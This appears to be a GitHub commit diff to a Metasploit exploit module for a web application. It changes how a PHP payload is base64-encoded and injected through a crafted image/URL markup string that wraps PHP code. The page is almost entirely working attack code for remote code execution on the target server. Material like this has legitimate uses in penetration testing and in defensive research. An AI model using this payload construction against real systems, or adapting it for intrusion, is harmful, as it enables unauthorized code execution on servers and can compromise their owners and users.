File tree Expand file tree Collapse file tree 1 file changed +3
-3
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +3
-3
lines changed Original file line number Diff line number Diff line change @@ -104,13 +104,13 @@ def php_exec_cmd(encoded_payload)
104
104
$c = base64_decode("#{ encoded_clean_payload } ");
105
105
#{ php_system_block ( cmd_varname : '$c' , disabled_varname : dis ) }
106
106
END_OF_PHP_CODE
107
- return Rex :: Text . encode_base64 ( shell ) . to_s
107
+ return framework . encoders . create ( 'php/base64' ) . encode ( shell )
108
108
end
109
109
110
110
def exploit
111
111
print_status ( 'Preparing to send exploit payload to the target...' )
112
- compacted_payload = target [ 'Arch' ] == ARCH_PHP ? Rex :: Text . encode_base64 ( payload . raw ) : php_exec_cmd ( payload . encoded )
113
- payload = "[<img#{ Rex ::Text . rand_text_numeric ( 8 ) } >->URL`<?php eval(base64_decode(' #{ compacted_payload } ')); ?>`]"
112
+ compacted_payload = target [ 'Arch' ] == ARCH_PHP ? framework . encoders . create ( 'php/base64' ) . encode ( payload . encoded ) : php_exec_cmd ( payload . encoded )
113
+ payload = "[<img#{ Rex ::Text . rand_text_numeric ( 8 ) } >->URL`<?php #{ compacted_payload } ?>`]"
114
114
115
115
Rex . sleep ( 0.5 )
116
116
You can’t perform that action at this time.
0 commit comments